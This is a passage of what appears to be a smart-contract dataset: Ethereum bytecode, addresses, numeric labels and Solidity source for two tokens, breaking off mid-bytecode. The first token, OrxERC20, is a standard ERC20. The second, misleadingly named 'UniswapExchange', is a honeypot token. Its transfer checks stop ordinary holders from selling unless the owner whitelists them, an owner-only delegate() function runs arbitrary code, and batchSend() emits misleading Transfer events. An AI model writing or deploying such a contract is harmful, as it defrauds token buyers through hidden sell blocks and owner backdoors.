ffffffffffffffffffffffff8089166000818152600460209081526040808320948c168084529490915290819020899055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906116f7908a90611b24565b60405180910390a35050505050505050565b600460209081526000928352604080842090915290825290205481565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040902054611757908290611ef0565b73ffffffffffffffffffffffffffffffffffffffff83166000818152600360205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117b3908590611b24565b60405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600360205260409020546117f0908290611faf565b73ffffffffffffffffffffffffffffffffffffffff83166000818152600360205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117b3908590611b24565b803573ffffffffffffffffffffffffffffffffffffffff8116811461186d57600080fd5b919050565b600060208284031215611883578081fd5b61143482611849565b6000806040838503121561189e578081fd5b6118a783611849565b91506118b560208401611849565b90509250929050565b6000806000606084860312156118d2578081fd5b6118db84611849565b92506118e960208501611849565b9150604084013590509250925092565b600080600080600080600060e0888a031215611913578283fd5b61191c88611849565b965061192a60208901611849565b95506040880135945060608801359350608088013560ff8116811461194d578384fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561197c578182fd5b61198583611849565b946020939093013593505050565b6000602082840312156119a4578081fd5b81518015158114611434578182fd5b6000602082840312156119c4578081fd5b5051919050565b600080604083850312156119dd578182fd5b823591506118b560208401611849565b600080604083850312156119ff578182fd5b505080516020909101519092909150565b600080600060608486031215611a24578283fd5b8351925060208401519150604084015190509250925092565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9390931683526020830191909152604082015260600190565b901515815260200190565b90815260200190565b95865273ffffffffffffffffffffffffffffffffffffffff94851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611bb857858101830151858201604001528201611b9c565b81811115611bc95783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6020808252601d908201527f45524332303a20696e73756666696369656e742d616c6c6f77616e6365000000604082015260600190565b60208082526007908201527f453a4561726c7900000000000000000000000000000000000000000000000000604082015260600190565b60208082526022908201527f45524332303a20696e76616c6964207369676e6174757265202773272076616c60408201527f7565000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526018908201527f45524332303a20696e76616c69642d616464726573732d300000000000000000604082015260600190565b60208082526007908201527f6578706972656400000000000000000000000000000000000000000000000000604082015260600190565b6020808252600d908201527f453a4e6f74204578706972656400000000000000000000000000000000000000604082015260600190565b60208082526015908201527f45524332303a20696e76616c69642d7065726d69740000000000000000000000604082015260600190565b6020808252600c908201527f453a416c72656164795365740000000000000000000000000000000000000000604082015260600190565b60208082526015908201527f45524332303a207065726d69742d657870697265640000000000000000000000604082015260600190565b60208082526009908201527f453a4e45475f494e540000000000000000000000000000000000000000000000604082015260600190565b60208082526008908201527f453a4e6f4c6f7373000000000000000000000000000000000000000000000000604082015260600190565b6020808252601b908201527f45524332303a20696e73756666696369656e742d62616c616e63650000000000604082015260600190565b6fffffffffffffffffffffffffffffffff91909116815260200190565b918252602082015260400190565b60ff91909116815260200190565b60008219821115611f0357611f03612053565b500190565b600082611f3c577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611f7957611f79612053565b500290565b60006fffffffffffffffffffffffffffffffff83811690831681811015611fa757611fa7612053565b039392505050565b600082821015611fc157611fc1612053565b500390565b600281046001821680611fda57607f821691505b60208210811415612014577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561204c5761204c612053565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea2646970667358221220a18927d943c0e2e2c7f08df5931c0832a5480b54215a2272df132f2dd78427d064736f6c63430008000033
[ 4, 15, 9, 6, 16 ]
0xf38c74ae536fcf67c420a886face5f806441caf8
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract OrxERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function OrxERC20() public { totalSupply = 2000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "ORX"; // Set the name for display purposes symbol = "orx"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce5671461026457806342966c681461029557806370a08231146102da57806379cc67901461033157806395d89b4114610396578063a9059cbb14610426578063cae9ca5114610473578063dd62ed3e1461051e575b600080fd5b3480156100cb57600080fd5b506100d4610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106c0565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b506102796107f3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102c060048036038101908080359060200190929190505050610806565b604051808215151515815260200191505060405180910390f35b3480156102e657600080fd5b5061031b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090a565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b5061037c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b3480156103a257600080fd5b506103ab610b3c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103eb5780820151818401526020810190506103d0565b50505050905090810190601f1680156104185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561043257600080fd5b50610471600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b005b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610be9565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561075357600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506107e8848484610d91565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561085657600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109fd57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd25780601f10610ba757610100808354040283529160200191610bd2565b820191906000526020600020905b815481529060010190602001808311610bb557829003601f168201915b505050505081565b610be5338383610d91565b5050565b600080849050610bf98585610633565b15610d63578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610cf3578082015181840152602081019050610cd8565b50505050905090810190601f168015610d205780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b5050505060019150610d64565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610db857600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e0657600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610e9557600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156110a257fe5b505050505600a165627a7a7230582089e99b1a056a4e3740c7a8d728b7521bdfd12486910762f0d30f12dfcd0ab92f0029
[ 17 ]
0xf38cdebbb92e0b0e89bf11ec932afab93694dbd7
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100c25760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb1461045e578063aa2f5220146104c4578063d6d2b6ba1461059e578063dd62ed3e14610679576100c2565b806370a08231146103025780638cd8db8a1461036757806395d89b41146103ce576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc6106fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079c565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d261088e565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c4d565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b506103516004803603602081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b46004803603606081101561038a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610c6a565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610d0e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104aa6004803603604081101561047457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dac565b604051808215151515815260200191505060405180910390f35b610584600480360360408110156104da57600080fd5b81019080803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610dc1565b604051808215151515815260200191505060405180910390f35b610677600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061102a565b005b34801561068557600080fd5b506106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107945780601f1061076957610100808354040283529160200191610794565b820191906000526020600020905b81548152906001019060200180831161077757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f057600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082141561094d5760019050610c46565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a945781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a9f848484611160565b610aa857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af457600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60008311610cd5576000610cdd565b6012600a0a83025b60028190555060008211610cf2576000610cfa565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b6000610db933848461093a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7157600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925